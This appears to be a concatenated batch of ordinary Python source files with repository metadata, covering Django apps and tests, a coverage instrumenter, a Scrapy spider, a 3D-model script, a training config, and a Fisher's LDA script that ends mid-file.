Datacamp Assignments/Data Engineer Track/2. Streamlined Data Ingestion with pandas/35_handle_deeply_nested_data.py

Ali-Parandeh/Data_Science_Playground

c529e9b3692381572de259e7c93938d6611d83da

[ "MIT" ]

1

2021-03-10T09:40:05.000Z

# Load other business attributes and set meta prefix from pandas.io.json import json_normalize flat_cafes = json_normalize(data["businesses"], sep="_", record_path="categories", meta=['name', 'alias', 'rating', ['coordinates', 'latitude'], ['coordinates', 'longitude']], meta_prefix='biz_') # View the data print(flat_cafes.head()) ''' <script.py> output: alias title biz_name biz_alias biz_rating biz_coordinates_latitude biz_coordinates_longitude 0 coffee Coffee & Tea White Noise white-noise-brooklyn-2 4.5 40.689358 -73.988415 1 coffee Coffee & Tea Devocion devocion-brooklyn-3 4.0 40.688570 -73.983340 2 coffeeroasteries Coffee Roasteries Devocion devocion-brooklyn-3 4.0 40.688570 -73.983340 3 cafes Cafes Devocion devocion-brooklyn-3 4.0 40.688570 -73.983340 4 coffee Coffee & Tea Coffee Project NY coffee-project-ny-new-york 4.5 40.726990 -73.989220 Naming meta columns can get tedious for datasets with many attributes, and code is susceptible to breaking if column names or nesting levels change. In such cases, you may have to write a custom function and employ techniques like recursion to handle the data. '''

52.558824

154

0.493005

179

1,787

4.837989

0.553073

0.04157

0.051963

0.086605

0.148961

0

0.100304

0.447678

1,787

34

155

52.558824

0.777102

0.035814

0

0.158635

0

1

0

false

0

0.090909

0

0.090909

0

null

0

null

0

1

0

e9960edde95bcaeefa3f37767c2580e46bec455b

2,310

py

Python

deprecated/obsolete/src/coverinst.py

Anirban166/tstl

73dac02f084b10e1bf2f172a5d1306bb5fbd7f7e

[ "Apache-2.0" ]

90

2015-04-07T10:26:53.000Z

2022-03-07T15:14:57.000Z

deprecated/obsolete/src/coverinst.py

Anirban166/tstl

73dac02f084b10e1bf2f172a5d1306bb5fbd7f7e

[ "Apache-2.0" ]

14

2015-10-13T16:25:59.000Z

2021-01-21T18:31:03.000Z

deprecated/obsolete/src/coverinst.py

Anirban166/tstl

73dac02f084b10e1bf2f172a5d1306bb5fbd7f7e

[ "Apache-2.0" ]

32

2015-04-07T10:41:29.000Z

2022-02-26T05:17:28.000Z

import sys infn = sys.argv[1] outfn = infn.split(".py")[0]+"_INST.py" code = [] for l in open(infn): code.append(l) outf = open(outfn, 'w') outf.write("import covertool\n") ln = 0 inComment = False justEnded = False currentIndent = 0 lineIndent = 0 okChangeIndent = False skipNext = False doNotInstrument = ["class","def","import", "elif", "else:", "except", "}", "]", ")"] indentChangers = ["class", "def", "if", "elif", "else:", "for", "try:", "except", "while"] skipNextChars = [",","\\"] conditionals = ["if","elif", "else"] for l in code: ln += 1 ls = l.split() if l.find('"""') != -1: inComment = not inComment justEnded = True if inComment: outf.write(l) continue if justEnded: outf.write(l) justEnded = False continue lineIndent = 0 for c in l: if c != " ": break else: lineIndent += 1 instrument = False if (lineIndent > currentIndent): if okChangeIndent and not skipNext: currentIndent = lineIndent instrument = True else: instrument = ls != [] currentIndent = lineIndent if (ls != []) and ((ls[0] in doNotInstrument) or (ls[0][0] == "#")): instrument = False if (ls != []) and (ls[0] in conditionals) and (":" in l) and (ls[-1][-1] != ":"): if ls[0] == "if": ld = infn + ":" + str(ln) outf.write((" " * lineIndent) + 'covertool.cover("' + ld + '")\n') ld = infn + ":" + str(ln)+":True" sc = l.split(":") sct = "" started = False for c in sc[1]: if started or (c != " "): started = True sct += c outf.write(sc[0] + ":" + "\n") outf.write((" " * lineIndent) + ' covertool.cover("' + ld + '")\n') outf.write((" " * lineIndent) + " " + sct + "\n") okChangeIndent = False skipNext = False continue if instrument: ld = infn + ":" + str(ln) outf.write((" " * lineIndent) + 'covertool.cover("' + ld + '")\n') okChangeIndent = skipNext or ((ls != []) and (ls[0] in indentChangers)) skipNext = (len(l) > 2) and (l[-2] in skipNextChars) outf.write(l) outf.close()

25.666667

90

0.490909

254

2,310

4.46063

0.23622

0.071492

0.067079

0.021183

0.144748

0.135922

0.11474

0.082966

0

0.013479

0.325541

2,310

89

91

25.955056

0.713736

0

0.342466

0

0.094805

0

1

0

false

0

0.041096

0

0.041096

0

null

0

null

0

1

0

e997ebbde4fce0c730819b363c5adbce38d2664d

8,729

py

Python

actionkit_templates/settings.py

MoveOnOrg/actionkit-templates

2d06ad7634fac59e352d5cd8625f3092624d30e4

[ "Unlicense", "MIT" ]

8

2016-11-29T07:34:04.000Z

2021-06-09T18:09:25.000Z

actionkit_templates/settings.py

MoveOnOrg/actionkit-templates

2d06ad7634fac59e352d5cd8625f3092624d30e4

[ "Unlicense", "MIT" ]

12

2016-12-06T17:24:58.000Z

2022-02-21T20:11:47.000Z

actionkit_templates/settings.py

MoveOnOrg/actionkit-templates

2d06ad7634fac59e352d5cd8625f3092624d30e4

[ "Unlicense", "MIT" ]

4

2016-12-25T11:16:34.000Z

2020-02-11T18:48:26.000Z

import json import os import sys import time try: from urlparse import urlparse except ImportError: # python3 from urllib.parse import urlparse from django.conf.urls import url from django.conf.urls.static import static from django.http import HttpResponse, Http404 from django.shortcuts import render_to_response, redirect from django.template.loader import render_to_string from django.template.base import add_to_builtins from django.views.static import serve from .moveon_fakeapi import mo_event_data """ try running with aktemplates runserver 0.0.0.0:1234 """ DEBUG = True SECRET_KEY = 'who cares!' INSTALLED_APPS = ['actionkit_templates', ] try: import template_debug #django-template-debug INSTALLED_APPS.append('template_debug') import django_extensions #django-extensions INSTALLED_APPS.append('django_extensions') except: pass #one directory down APP_PATH = os.path.dirname(__file__) PROJECT_ROOT_PATH = os.path.abspath(os.getcwd()) ############# # STATIC DIRECTORY ############# #note this only works if DEBUG=True STATIC_ROOT = os.environ.get('STATIC_ROOT', os.path.join(PROJECT_ROOT_PATH, './static')) STATIC_URL = os.environ.get('STATIC_URL', '/static/') STATIC_FALLBACK = os.environ.get('STATIC_FALLBACK', False) STATIC_LOCAL = os.environ.get('STATIC_URL', None) # an explicit local or not ############# # TEMPLATES ############# DEFAULT_TEMPLATES = os.path.join(APP_PATH, 'templates') DIR_TEMPLATES = [] if os.environ.get('TEMPLATE_DIR'): DIR_TEMPLATES.append(os.environ.get('TEMPLATE_DIR')) else: for d in ('./', './template_set', './_layouts', './_includes'): dd = os.path.join(PROJECT_ROOT_PATH, d) if os.path.exists(dd): DIR_TEMPLATES.append(dd) DIR_TEMPLATES.append(DEFAULT_TEMPLATES) TEMPLATES = [ { 'BACKEND': 'django.template.backends.django.DjangoTemplates', 'DIRS': DIR_TEMPLATES, }, ] MIDDLEWARE_CLASSES = [] add_to_builtins('actionkit_templates.templatetags.actionkit_tags') def _get_context_data(request, name=None, page=None, use_referer=False): from actionkit_templates.contexts.page_contexts import contexts port = '4000' hostport = request.get_host().split(':') if len(hostport) > 1: port = hostport[1] if use_referer: paths = None if request.META.get('HTTP_REFERER'): paths = urlparse(request.META['HTTP_REFERER']).path.split('/') elif request.GET.get('path'): # e.g. &path=/events/event_search.html paths = request.GET['path'].split('/') if paths and len(paths) > 1: name = paths[1] if len(paths) > 2: page = paths[2] custom_contexts_file = os.path.join(PROJECT_ROOT_PATH, os.environ.get('CUSTOM_CONTEXTS', 'contexts.json')) if os.path.exists(custom_contexts_file): try: contexts.update({'Custom': json.loads(open(custom_contexts_file).read())}) except ValueError as e: raise Exception("JSON Parsing Error for context file %s %s" % ( custom_contexts_file, e.message)) #first use ?template= if there, otherwise name's template, otherwise homepage cxt = dict( devenv={ 'enabled': True, 'port': port, 'STATIC_URL': STATIC_URL, 'STATIC_LOCAL': STATIC_LOCAL, 'MO_EVENTS_API': '/fake/api/events' } ) context_data = contexts.get(name, {}) if page: context_data = contexts.get(name, {}).get(page, {}) cxt.update(context_data) if not context_data: sections = [] for section, pages in sorted(contexts.items()): sections.append([section, sorted(pages.items())]) cxt.update({ 'page': {'title':'Homepage'}, 'pagelinks': sections}) if request.GET.get('user_id'): #for debugging tests based on user.id % 2, e.g. context_data.setdefault('user', {}).update({'id': int(request.GET.get('user_id'))}) args = cxt.get('args', {}).copy() args.update(request.GET.dict()) cxt['args'] = args if 'akid' not in cxt: cxt['akid'] = cxt['args'].get('akid') cxt['request'] = request cxt['js_context'] = '""' # FUTURE: what should go in here? return cxt ############# # HOME PAGE TEST ############# def index(request, name, page=None): cxt = _get_context_data(request, name, page) template = request.GET.get('template', cxt.get('filename', "homepagetest.html")) return render_to_response(template, cxt) def login_context(request): cxt = _get_context_data(request, use_referer=True) from actionkit_templates.contexts.event_context_json import event_json event_json_copy = event_json.copy() coming_from = request.GET.get('url','') if 'event' in coming_from \ or 'logged_in' in coming_from \ or 'survey_logged_in' in coming_from: if not request.GET.get('login') and 'survey_logged_in' not in coming_from: del event_json_copy['name'] return HttpResponse( 'actionkit.forms.onContextLoaded(%s)' % json.dumps(event_json_copy)) elif cxt.get('context'): return HttpResponse('actionkit.forms.onContextLoaded(%s)' % json.dumps(cxt['context'])) else: return HttpResponse( #text key has all the generic error messages 'actionkit.forms.onContextLoaded({"text": %s})' % json.dumps(event_json['text'])) def user_password_forgot(request): return HttpResponse('unimplemented') def logout(request): if request.GET.get('next'): return redirect(request.GET.get('next')) return redirect('/logout.html') def event_search_results(request, page): cxt = _get_context_data(request, 'events', 'WILL_USE_REFERER_HEADER', use_referer=True) # special query results context: all = cxt['args'].get('all') == '1' cxt.update({'all': all}) if cxt.get('SLOW_SEARCH'): # This allows us to test for race conditions time.sleep(2) search_results = render_to_string('event_search_results.html', cxt) return HttpResponse('actionkit.forms.onEventSearchResults({})' .format(json.dumps(search_results))) def event_api_moveon_fake(request): """Fake representation of MoveOn events api""" cxt = _get_context_data(request, 'events', 'WILL_USE_REFERER_HEADER', use_referer=True) events = cxt.get('events', []) if cxt.get('SLOW_API'): # This allows us to test for race conditions time.sleep(2) if cxt.get('500_API'): raise Exception('Cause failure to allow graceful degradation') search_results = [mo_event_data(evt) for evt in events] return HttpResponse(json.dumps({'events': search_results}), content_type='application/json') def proxy_serve(request, path, document_root=None, show_indexes=False): try_proxy = True try: import requests except ImportError: try_proxy = False try: return serve(request, path, document_root, show_indexes) except Http404: if try_proxy: prefix = request.path.split('/')[1] content = requests.get('https://roboticdogs.actionkit.com/{}/{}'.format(prefix, path), verify=False) if content.status_code == 200: return HttpResponse(content.content, content_type=content.headers['Content-Type']) raise Http404 ############# # URLS ############# ROOT_URLCONF = 'actionkit_templates.settings' urlpatterns = [ url(r'^context', login_context), url(r'^progress', login_context, name='progress'), url(r'^logout', logout, name="logout"), url(r'^(?P<name>[-.\w]+)?(/(?P<page>[-.\w]+))?$', index), url(r'^forgot/$', user_password_forgot, name='user_password_forgot'), url(r'^cms/event/(?P<page>[-.\w]+)/search_results/', event_search_results, name='event_search_results'), url(r'^fake/api/events', event_api_moveon_fake, name="event_api_moveon_fake"), # ActionKit urls or {% url %} template tag: url(r'^fake/stub/reverse', event_api_moveon_fake, name="reverse_donation"), ] if STATIC_ROOT: urlpatterns = (urlpatterns + static(STATIC_URL, document_root=STATIC_ROOT) + static('/resources/', view=proxy_serve, document_root=os.path.join(STATIC_ROOT, './resources')) + static('/media/', view=proxy_serve, document_root=os.path.join(STATIC_ROOT, './media')) ) if os.path.exists(os.path.join(PROJECT_ROOT_PATH, 'local_settings.py')): from local_settings import *

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0.224599

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null

0

null

0

1

0

e9a05f45a351e31a1eadb205f7bd181f6ae63473

2,314

py

Python

Mock-exams/02-Mock-exam/notes/notes/app/views.py

M0673N/Python-Web-Basics

cecc27f7a12f990756edcc8885290eb3b2e487b7

[ "MIT" ]

null

Mock-exams/02-Mock-exam/notes/notes/app/views.py

M0673N/Python-Web-Basics

cecc27f7a12f990756edcc8885290eb3b2e487b7

[ "MIT" ]

null

Mock-exams/02-Mock-exam/notes/notes/app/views.py

M0673N/Python-Web-Basics

cecc27f7a12f990756edcc8885290eb3b2e487b7

[ "MIT" ]

null

from django.shortcuts import render, redirect from notes.app.forms import ProfileForm, NoteForm, NoteDeleteForm from notes.app.models import Profile, Note def home(request): if request.method == 'GET': profile = Profile.objects.first() if not profile: form = ProfileForm() return render(request, 'home-no-profile.html', {'form': form}) else: notes = Note.objects.all() return render(request, 'home-with-profile.html', {'notes': notes}) else: form = ProfileForm(request.POST) if form.is_valid(): form.save() return redirect('home') else: return render(request, 'home-no-profile.html', {'form': form}) def add_note(request): if request.method == 'GET': form = NoteForm() return render(request, 'note-create.html', {'form': form}) else: form = NoteForm(request.POST) if form.is_valid(): form.save() return redirect('home') else: return render(request, 'note-create.html', {'form': form}) def edit_note(request, pk): note = Note.objects.get(pk=pk) if request.method == 'GET': form = NoteForm(instance=note) return render(request, 'note-edit.html', {'form': form}) else: form = NoteForm(request.POST, instance=note) if form.is_valid(): form.save() return redirect('home') else: return render(request, 'note-edit.html', {'form': form}) def delete_note(request, pk): note = Note.objects.get(pk=pk) if request.method == 'GET': form = NoteDeleteForm(instance=note) return render(request, 'note-delete.html', {'form': form}) else: note.delete() return redirect('home') def note_details(request, pk): note = Note.objects.get(pk=pk) return render(request, 'note-details.html', {'note': note}) def profile_details(request): profile = Profile.objects.first() notes = Note.objects.all() return render(request, 'profile.html', {'profile': profile, 'notes': notes.count()}) def delete_profile(request): profile = Profile.objects.first() notes = Note.objects.all() profile.delete() notes.delete() return redirect('home')

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0

null

0

null

0

1

0

e9a09dff959ae1110da793fb71caa1d3736f73bf

3,066

py

Python

trainwiki.py

tomsonsgs/TRAN-MMA-master

91bf927c64a8d813ba60ae12e61e8f44830a82cc

[ "Apache-2.0" ]

null

trainwiki.py

tomsonsgs/TRAN-MMA-master

91bf927c64a8d813ba60ae12e61e8f44830a82cc

[ "Apache-2.0" ]

null

trainwiki.py

tomsonsgs/TRAN-MMA-master

91bf927c64a8d813ba60ae12e61e8f44830a82cc

[ "Apache-2.0" ]

null

# -*- coding: utf-8 -*- """ Created on Tue Jul 2 00:56:18 2019 @author: tang """ seed=102 vocab="vocab.bin" train_file="train.bin" dropout=0.3 hidden_size=256 embed_size=100 action_embed_size=100 field_embed_size=32 type_embed_size=32 lr_decay=0.5 beam_size=5 patience=2 lstm='lstm' col_att='affine' model_name='wiki' def updatetest(opt): model_name1='wikitest.decode1' # opt.cuda =True opt.mode ='test' opt.load_model='saved_models/wikisql_bk/'+model_name+'.bin' opt.beam_size=5 opt.parser='wikisql_parser' opt.evaluator='wikisql_evaluator' opt.sql_db_file='data/wikisql1/test.db' opt.test_file='data/wikisql1/test.bin' opt.save_decode_to='decodes/wikisql/'+model_name1 opt.decode_max_time_step=50 def update(opt): opt.cuda=True opt.seed=seed opt.mode='train' opt.batch_size=16 opt.parser='wikisql_parser' opt.asdl_file='asdl/lang/sql/sql_asdl.txt' opt.transition_system='sql' opt.evaluator='wikisql_evaluator' opt.train_file='data/wikisql1/'+train_file opt.dev_file='data/wikisql1/test.bin' opt.sql_db_file='data/wikisql1/test.db' opt.vocab='data/wikisql1/'+vocab opt.glove_embed_path='data/contrib/glove.6B.100d.txt' opt.lstm =lstm opt.column_att =col_att opt.no_parent_state =True opt.no_parent_field_embed =True opt.no_parent_field_type_embed =True opt.no_parent_production_embed =True opt.hidden_size =hidden_size opt.embed_size =embed_size opt.action_embed_size =action_embed_size opt.field_embed_size =field_embed_size opt.type_embed_size =type_embed_size opt.dropout =dropout opt.patience =patience opt.max_num_trial =5 opt.lr_decay =lr_decay opt.glorot_init=True opt.beam_size =beam_size opt.eval_top_pred_only =True opt.decode_max_time_step=50 opt.log_every=500 opt.save_to='saved_models/wikisql_bk/'+model_name #python -u exp.py \ # --cuda \ # --seed ${seed} \ # --mode train \ # --batch_size 64 \ # --parser wikisql_parser \ # --asdl_file asdl/lang/sql/sql_asdl.txt \ # --transition_system sql \ # --evaluator wikisql_evaluator \ # --train_file data/wikisql/${train_file} \ # --dev_file data/wikisql/dev.bin \ # --sql_db_file data/wikisql/dev.db \ # --vocab data/wikisql/${vocab} \ # --glove_embed_path data/contrib/glove.6B.100d.txt \ # --lstm ${lstm} \ # --column_att ${col_att} \ # --no_parent_state \ # --no_parent_field_embed \ # --no_parent_field_type_embed \ # --no_parent_production_embed \ # --hidden_size ${hidden_size} \ # --embed_size ${embed_size} \ # --action_embed_size ${action_embed_size} \ # --field_embed_size ${field_embed_size} \ # --type_embed_size ${type_embed_size} \ # --dropout ${dropout} \ # --patience ${patience} \ # --max_num_trial 5 \ # --lr_decay ${lr_decay} \ # --glorot_init \ # --beam_size ${beam_size} \ # --eval_top_pred_only \ # --decode_max_time_step 50 \ # --log_every 10 \ # --save_to saved_models/wikisql/${model_name}

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null

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null

0

1

0

e9a18b845016664a0d3350f6afe5c55f943340ff

3,476

py

Python

heritago/heritages/tests/tests_annotationdatamodel.py

SWE574-Groupago/heritago

ec7d279df667a4f2c3560dfac4b5b17046163a95

[ "MIT" ]

6

2017-02-13T10:22:18.000Z

2017-03-11T20:38:30.000Z

heritago/heritages/tests/tests_annotationdatamodel.py

SWE574-Groupago/heritago

ec7d279df667a4f2c3560dfac4b5b17046163a95

[ "MIT" ]

172

2017-02-12T21:07:27.000Z

2017-06-08T10:46:58.000Z

heritago/heritages/tests/tests_annotationdatamodel.py

SWE574-RenameMe/heritago

ec7d279df667a4f2c3560dfac4b5b17046163a95

[ "MIT" ]

17

2017-02-13T08:29:37.000Z

2017-06-29T14:43:53.000Z

import unittest from django.test import Client class AnnotationDataModelTests(unittest.TestCase): api_url_template = "/api/v1/heritages/#/annotations" xpath_annotation_response = "" heritage_path = "" api_url_set = "" @classmethod def setUpClass(cls): cls.heritage_path = "/api/v1/heritages/" h_id = cls.create_heritage_item() cls.api_url_set = cls.api_url_template.replace("#", str(h_id)) cls.ann_response = cls.create_XPATH_annotation() cls.ann_id = cls.ann_response["id"].rsplit("/", 2)[-2] cls.ann_get_response = Client().get(cls.api_url_set + "/" + str(cls.ann_id)).json() @classmethod def create_heritage_item(cls): client = Client() r = client.post(cls.heritage_path, { "title": "Santa Clause", "description": "Santa Claus, also known as Saint Nicholas, Saint Nick, Kris Kringle, Father Christmas, " "or simply Santa (Santy in Hiberno-English), is a legendary figure of Western Christian " "culture who is said to bring gifts to the homes of well-behaved (\"good\" or \"nice\") " "children on Christmas Eve (24 December) and the early morning hours of Christmas Day " "(25 December).", "startDate": "1087", "endDate": "continuing", "exactDate": "1700", "origin": [{"name": "Dutch"}, {"name": "British"}], "basicInformation": [{"name": "AKA", "value": "Sinterklaas"}], "tags": [{"name": "religion"}, {"name": "christmas"}, {"name": "figure"}] }) return r.json()['id'] @classmethod def create_XPATH_annotation(cls): return Client().post(cls.api_url_set, { "@context": "http://www.w3.org/ns/anno.jsonld", "type": "Annotation", "creator": "me", "body": [ { "type": "video", "format": "text/plain", "value": "loved it" } ], "target": [ { "type": "text", "format": "text/plain", "selector": [ { "type": "FragmentSelector", "conformsTo": "http://tools.ietf.org/rfc/rfc5147", "value": "char=2,4" } ] } ] }).json() def test_create_XPATH_annotation(self): ann_id = self.create_XPATH_annotation() self.assertTrue(len(ann_id) > 0) def test_annotation_must_have_1_or_more_context_property(self): self.assertTrue("@context" in self.ann_get_response.keys()) def test_an_annotation_must_have_exactly_1_IRI_that_defines_it(self): self.assertTrue("id" in self.ann_get_response.keys()) def test_an_annotation_must_have_1_or_more_types_and_the_annotation_class_must_be_one_of_them(self): self.assertTrue(self.ann_get_response["type"], "Annotation") def test_an_annotation_must_have_body_relationships_associated_with_it(self): self.assertTrue("body" in self.ann_get_response.keys()) def test_there_must_be_1_or_more_target_relationships_associated_with_an_annotation(self): self.assertTrue("target" in self.ann_get_response.keys())

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117

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0.246575

0

null

0

null

0

1

0

e9a26fd47a49716298a92bfa1c231de0e135e9dd

824

py

Python

tests/test_main.py

cesarbruschetta/julio-cesar-decrypter

1f8b94b6370fb0a8bbfc1fa6b44adc9d69bf088c

[ "BSD-2-Clause" ]

null

tests/test_main.py

cesarbruschetta/julio-cesar-decrypter

1f8b94b6370fb0a8bbfc1fa6b44adc9d69bf088c

[ "BSD-2-Clause" ]

null

tests/test_main.py

cesarbruschetta/julio-cesar-decrypter

1f8b94b6370fb0a8bbfc1fa6b44adc9d69bf088c

[ "BSD-2-Clause" ]

null

import unittest from unittest.mock import patch from jc_decrypter.main import process, main class TestMainProcess(unittest.TestCase): @patch("jc_decrypter.main.decrypter") def test_arg_decrypter(self, mk_decrypter): process(["--token", "1234567890"]) mk_decrypter.assert_called_once_with("1234567890") def test_not_arg(self): with self.assertRaises(SystemExit) as cm: process([]) self.assertEqual( "the following arguments are required: --token/-t", str(cm.exception) ) class TestMainMain(unittest.TestCase): @patch("jc_decrypter.main.process") def test_main_process(self, mk_process): mk_process.return_value = 0 self.assertRaises(SystemExit, main) mk_process.assert_called_once_with(["test"])

27.466667

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0.214806

824

29

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0.25

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0.15

false

0

0.15

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0.4

0

null

0

null

0

1

0

e9a3a2aba365270bf90b9a6d7673d3d58bca51fe

3,290

py

Python

template_maker/data/documents.py

codeforamerica/template-maker

66d4744c123d5b868cf259e947dc924bb5a25c9a

[ "BSD-3-Clause" ]

9

2015-02-23T22:03:30.000Z

2020-01-31T19:06:50.000Z

template_maker/data/documents.py

codeforamerica/template-maker

66d4744c123d5b868cf259e947dc924bb5a25c9a

[ "BSD-3-Clause" ]

37

2015-03-01T01:10:22.000Z

2015-12-31T17:24:42.000Z

template_maker/data/documents.py

codeforamerica/template-maker

66d4744c123d5b868cf259e947dc924bb5a25c9a

[ "BSD-3-Clause" ]

2

2016-01-21T09:59:17.000Z

2021-04-16T10:51:04.000Z

import datetime from template_maker.database import db from template_maker.generator.models import DocumentBase, DocumentPlaceholder from template_maker.builder.models import TemplateBase, TemplatePlaceholders from template_maker.data.placeholders import get_template_placeholders def get_all_documents(): ''' Returns all documents currently being edited ''' return DocumentBase.query.all() def get_documents_and_parent_templates(): return db.session.query( DocumentBase.id, DocumentBase.name, TemplateBase.title ).filter(DocumentBase.template_id==TemplateBase.id).all() def get_document_placeholders(document_id): ''' Gets all the placeholders associated with a document ''' return db.session.query( DocumentPlaceholder.id, TemplatePlaceholders.full_name, TemplatePlaceholders.type, TemplatePlaceholders.display_name, DocumentPlaceholder.value ).filter(DocumentPlaceholder.document_id==document_id).filter( DocumentPlaceholder.placeholder_id==TemplatePlaceholders.id ).all() def get_single_document(document_id): ''' Returns a single document from a template_id ''' return DocumentBase.query.get(document_id) def get_single_document_and_parent_template(document_id): return db.session.query( DocumentBase.id, DocumentBase.name, TemplateBase.title ).filter(DocumentBase.template_id==TemplateBase.id).filter( DocumentBase.id==document_id ).first() def set_document_placeholders(template_id, document_base): # create the placeholders for the document placeholders = get_template_placeholders(template_id) for placeholder in placeholders: _placeholder = DocumentPlaceholder.query.filter( DocumentPlaceholder.placeholder_id==placeholder.id ).filter( DocumentPlaceholder.document_id==document_base.id ).first() # if we already have this placeholder, pass if _placeholder: continue new_placeholder = DocumentPlaceholder( document_id=document_base.id, placeholder_id=placeholder.id, ) db.session.add(new_placeholder) db.session.commit() def update_documents(template_id): # get all non-published documents based on the template documents = DocumentBase.query.filter( DocumentBase.template_id==template_id ).all() for document in documents: set_document_placeholders(template_id, document) return len(documents) def create_new_document(template_id, data): now = datetime.datetime.utcnow() # create the document document_base = DocumentBase( created_at=now, updated_at=now, name=data.get('name'), template_id=template_id ) db.session.add(document_base) db.session.commit() set_document_placeholders(template_id, document_base) return document_base.id def save_document_section(placeholders, data): for placeholder in placeholders: _placeholder = DocumentPlaceholder.query.get(placeholder.id) _placeholder.value = data.get(placeholder.display_name, '') db.session.commit() return True def delete_document(document): db.session.delete(document) db.session.commit() return True

31.333333

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0.730091

363

3,290

6.402204

0.212121

0.055938

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0.025818

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3,290

104

91

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false

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0.070423

0.028169

0.338028

0

null

0

null

0

1

0

e9a3b150e872655275d100c3ba1868368c2d52e0

716

py

Python

katph/spiders/stackoverflow_spider.py

trujunzhang/katph

b71b5a7171b133fcf087f77cd612c13a966ecd61

[ "MIT" ]

null

katph/spiders/stackoverflow_spider.py

trujunzhang/katph

b71b5a7171b133fcf087f77cd612c13a966ecd61

[ "MIT" ]

null

katph/spiders/stackoverflow_spider.py

trujunzhang/katph

b71b5a7171b133fcf087f77cd612c13a966ecd61

[ "MIT" ]

null

import scrapy from scrapy.selector import Selector from katph.items import StackItem class katphSpider(scrapy.Spider): name = "stackoverflow" allowed_domains = ["stackoverflow.com"] start_urls = [ "%s/questions?pagesize=50&sort=newest" % "http://stackoverflow.com", ] def parse(self, response): questions = Selector(response).xpath('//div[@class="summary"]/h3') for question in questions: item = StackItem() item['title'] = question.xpath( 'a[@class="question-hyperlink"]/text()').extract()[0] item['url'] = question.xpath( 'a[@class="question-hyperlink"]/@href').extract()[0] yield item

31.130435

76

0.603352

75

716

5.733333

0.6

0.074419

0.065116

0.088372

0.167442

0

0.009259

0.24581

716

22

77

32.545455

0.787037

0

0.27514

0.188547

0

1

0.055556

false

0

0.166667

0

0.444444

0

null

0

null

0

1

0

e9a6214120a911400cce37d1a1a474426ab60fe5

1,284

py

Python

hardware/joystick.py

davidji/roundbot

2ca34a83c9feb3331f1b818106f06b3182c4970e

[ "Apache-2.0" ]

null

hardware/joystick.py

davidji/roundbot

2ca34a83c9feb3331f1b818106f06b3182c4970e

[ "Apache-2.0" ]

null

hardware/joystick.py

davidji/roundbot

2ca34a83c9feb3331f1b818106f06b3182c4970e

[ "Apache-2.0" ]

null

from solid import * from solid.utils import * import util from util import inch_to_mm, tube, ABIT, corners, pipe from fixings import M3 from math import tan, radians """ Sub-miniature analog joy-sticks. There's not much useful in documentation of their measurements. I'm going to treat it like a sphere with a 14mm radius, with a 12mm diameter cylinder sticking out the top. 40 degrees in any direction. The knob on the top is 20mm wide so the hole in the panel must be at least that wide. """ fixing = M3 width=35.0 depth=35.0 pivot_height=9.6 panel_height=11.0 height=pivot_height+panel_height def block(): return down(pivot_height+panel_height)(forward(1.8)(linear_extrude(height)(square([35,35], center=True))) - up(pivot_height)(sphere(r=14.0)) - down(ABIT)(cylinder(h=pivot_height+ABIT, r=14.0)) + up(pivot_height)(hole()(cylinder(r1=6.0, r2=6.0 + tan(radians(30.0))*panel_height, h=panel_height))) - forward(1.8)(linear_extrude(pivot_height)(square([14.0, depth], center=True))) - forward(1.8)(linear_extrude(1.6)(square([25.5, 32.0], center=True)))) def fixings(): return corners(20.4, 26.6) def export_scad(): util.save('joystick-block', block()) if __name__ == '__main__': export_scad()

28.533333

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1,284

4.032558

0.506977

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0.031142

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0.101499

0.076125

0

0.059211

0.17134

1,284

44

115

29.181818

0.755639

0

0.023037

0

1

0.12

false

0

0.24

0.08

0.44

0

null

0

null

0

1

0

e9ab3dbd3f61574c06a9441f006ee914a6d3064c

4,458

py

Python

Fishers LDA/fishersLDA.py

Exorust/Machine-Learning-Algorithms

c634fd0a1a49ea2574f0867b591ee8a2cd401fd2

[ "MIT" ]

null

Fishers LDA/fishersLDA.py

Exorust/Machine-Learning-Algorithms

c634fd0a1a49ea2574f0867b591ee8a2cd401fd2

[ "MIT" ]

null

Fishers LDA/fishersLDA.py

Exorust/Machine-Learning-Algorithms

c634fd0a1a49ea2574f0867b591ee8a2cd401fd2

[ "MIT" ]

null

'''********************************************** CODE TO IMPLEMENT FISHER'S LDA - Given two dimensional dataset with two classes 0 and 1, Perform Fisher's LDA on the dataset, Perform dimensionality reduction and find the suitable vector to project it onto, Find the threshold value for separation of the two classes ***********************************************''' import numpy as np import matplotlib.pyplot as plt import time # to calculate the execution time of th clustering start_time = time.time() # reading data csv file my_data = np.genfromtxt('datasets/dataset_3.csv', delimiter=',') # deleting the serial number column data=np.delete(my_data,0,1) # separating the two classes and deleting the target variable column class0 = data[np.nonzero(data[:,2] == 0)] class1=data[np.nonzero(data[:,2]==1)] class0=np.delete(class0,2,1) class1=np.delete(class1,2,1) # finding the mean of the the two classes mean0=np.mean(class0,0) mean1=np.mean(class1,0) ''' calculating the variability of the two classes using the formula : variability=summation over points belonging to class 1((xi-mean)(xi-mean)tanspose) ''' var0=np.zeros(1) temp=np.array(mean0) for i in range (class0.shape[0]) : temp=(class0[i,:]-mean0) var0+=np.dot(temp, temp.T) var1=np.zeros(1) temp=np.array(mean1) for i in range (class1.shape[0]) : temp=(class1[i,:]-mean1) var1+=np.dot(temp, temp.T) sw=var1+var0 # calculating the inverse of Sw matrix invsw=np.array([(1/sw[0])]) # calculating the w vector using below formula w=invsw*(mean1-mean0) # declaring arrays for storing points' distance from the vector dist0=np.zeros((class0.shape[0],1)) dist1=np.zeros((class1.shape[0],1)) # finding the the vector to project the points on; # such that the means are farthest from each other wperp=np.array([-w[1],w[0]]) # finding the norm of the w vector norm_w=np.linalg.norm(wperp) ''' calculating the distance of original data points from the vector using the formula: r=w.T/norm(w) ''' for i in range(dist0.shape[0]): dist0[i]=np.dot(wperp.T,class0[i,:])/norm_w for i in range(dist1.shape[0]): dist1[i]=np.dot(wperp.T,class1[i,:])/norm_w ''' declaring the arrays to store the projected points data using formula: x_projected = x_actual-r*w/norm(w) ''' class0proj=np.zeros((class0.shape[0],2)) class1proj=np.zeros((class1.shape[0],2)) for i in range(class0.shape[0]): class0proj[i,:]=np.subtract((class0[i,:]),(dist0[i]*wperp.T/norm_w)) for i in range(class1.shape[0]): class1proj[i,:]=np.subtract((class1[i,:]),(dist1[i]*wperp.T/norm_w)) # displaying the plot with the original data , projected points and line plt.scatter(class0[:,0],class0[:,1]) plt.scatter(class1[:,0],class1[:,1]) plt.scatter(class0proj[:,0],class0proj[:,1],color='blue') plt.scatter(class1proj[:,0],class1proj[:,1],color='red') #concatenating the two classes into a single array pointsproj=np.concatenate((class0proj,class1proj),axis=0) plt.plot(pointsproj[:,0],pointsproj[:,1],'m') # storing dimensionally reduced projected points in array using formula: # y(x) = w.T*x newproj0=np.zeros((class0.shape[0],1)) 